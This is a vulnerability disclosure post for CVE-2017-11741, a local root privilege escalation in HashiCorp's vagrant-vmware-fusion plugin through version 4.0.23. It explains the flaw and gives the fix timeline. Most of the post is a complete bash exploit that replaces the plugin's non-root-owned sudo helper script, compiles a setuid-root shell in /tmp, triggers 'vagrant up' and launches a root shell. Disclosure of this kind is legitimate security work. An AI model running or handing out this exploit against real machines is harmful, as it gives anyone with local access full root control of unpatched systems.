CVE-2017-11741 Local root privesc in Hashicorp vagrant-vmware-fusion <= 4.0.23
2 Aug 2017 06:49

A couple of weeks ago I disclosed a local root privesc in Hashicorp's vagrant-vmware-fusion plugin:

https://m4.rkw.io/blog/cve20177642-local-root-privesc-in-hashicorp-vagrantvmwarefusion--4020.html

The initial patch they released was 4.0.21 which unfortunately contained a bug that prevented it from working at all on mac systems so I was unable to test it.  I then had to give my mac to Apple for a couple of weeks for some repairs so only got around to testing 4.0.22 at the end of last week.

Unfortunately, 4.0.22 is still exploitable and the subsequent release of 4.0.23 did not fix the issue.  Hashicorp reacted much faster this time, taking only a few days to issue a patch instead of a few months and 4.0.24 does fix the issue.  
As discussed before the plugin installs a "sudo helper" encrypted ruby script and four architecture-specific wrappers into ~/.vagrant.d/gems/2.2.5/gems/vagrant-vmware-fusion-4.0.22/bin

vagrant_vmware_desktop_sudo_helper                  
vagrant_vmware_desktop_sudo_helper_wrapper_darwin_386
vagrant_vmware_desktop_sudo_helper_wrapper_darwin_amd64
vagrant_vmware_desktop_sudo_helper_wrapper_linux_386
vagrant_vmware_desktop_sudo_helper_wrapper_linux_amd64

The wrapper that matches the system architecture will be made suid root the first time any vagrant box is up'd.  When a vagrant box is started the wrapper script elevates privileges and then executes the ruby sudo helper script.

Previously I exploited the unsanitised system("ruby") call to simply invoke the wrapper directly and execute an arbitrary fake "ruby" script in the current PATH.
This is now mitigated with 4.0.22 because the wrapper refuses to execute if it's not being called by vagrant.

Unfortunately it's still possible to exploit it because the wrapper executes the sudo helper as root, and the sudo helper is not root-owned so we can overwrite it with any arbitrary ruby code which will then get executed as root when vagrant up is run.

The issue was reported to Hashicorp on 27/07/17 and fixed on 01/08/17.

This exploit requires a vmware_fusion box to be present on the system in order to work.  If you don't have one it may take a few minutes to download one.  Like last time it targets darwin 64bit but it's likely the other architectures are vulnerable too.  

https://m4.rkw.io/vagrant_vmware_privesc_4.0.23.sh.txt
81c2637cd1f4064c077aabc6fa7a3451ae3f2bd99c67f25c966728f88a89d5a1
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#!/bin/bash
echo
echo "****************************************************************"
echo "* Wooo vmware_fusion plugin 4.0.22-4.0.23 is still exploitable *"
echo "* m4rkw                                                        *"
echo "****************************************************************"
echo
echo "Shouts to #coolkids"
echo

vuln_bin=`find ~/.vagrant.d/ -name vagrant_vmware_desktop_sudo_helper_wrapper_darwin_amd64 -perm +4000 |tail -n1`
target="/tmp/vagrant_vmware_privesc_4.0.23"

if [ "$vuln_bin" == "" ] ; then
  echo "Vulnerable binary not found."
  exit 1
fi

if [ -e "$target" ] ; then
  echo "Exploit payload already present."
  $target
  exit
fi

box=`vagrant box list |grep '(vmware_desktop' |head -n1 |cut -d ' ' -f1`

if [ "$box" == "" ] ; then
  echo "No vmware_fusion boxes found locally, we will have to download one."
  echo
  echo "This will take a few minutes."
  echo
  box="bento/ubuntu-16.04"
fi

dir=`dirname "$vuln_bin"`

cd "$dir"

if [ ! -e "vagrant_vmware_desktop_sudo_helper.bak" ] ; then
  mv vagrant_vmware_desktop_sudo_helper vagrant_vmware_desktop_sudo_helper.bak
fi

cat > $target.c <<EOF
#include <unistd.h>
int main()
{
  setuid(0);
  seteuid(0);
  execl("/bin/bash","bash","-c","/bin/bash;rm -f $target",NULL);
  return 0;
}
EOF
gcc -o $target $target.c
rm -f $target.c

cat > vagrant_vmware_desktop_sudo_helper <<EOF
#!/usr/bin/env ruby
\`chown root:wheel $target\`
\`chmod 4755 $target\`
EOF

chmod 755 vagrant_vmware_desktop_sudo_helper

cat > vagrantfile <<EOF
Vagrant.configure('2') do |config|
  config.vm.box = '$box'
end
EOF

vagrant up 2>/dev/null &

while :
do
  r=`ls -la $target |grep -- '-rwsr-xr-x  1 root  wheel'`
  if [ "$r" != "" ] ; then
    break
  fi
  sleep 0.2
done

killall -9 vagrant

echo
echo "Sorry Hashicorp.. still fail :P"
echo

sleep 1
cd
$target
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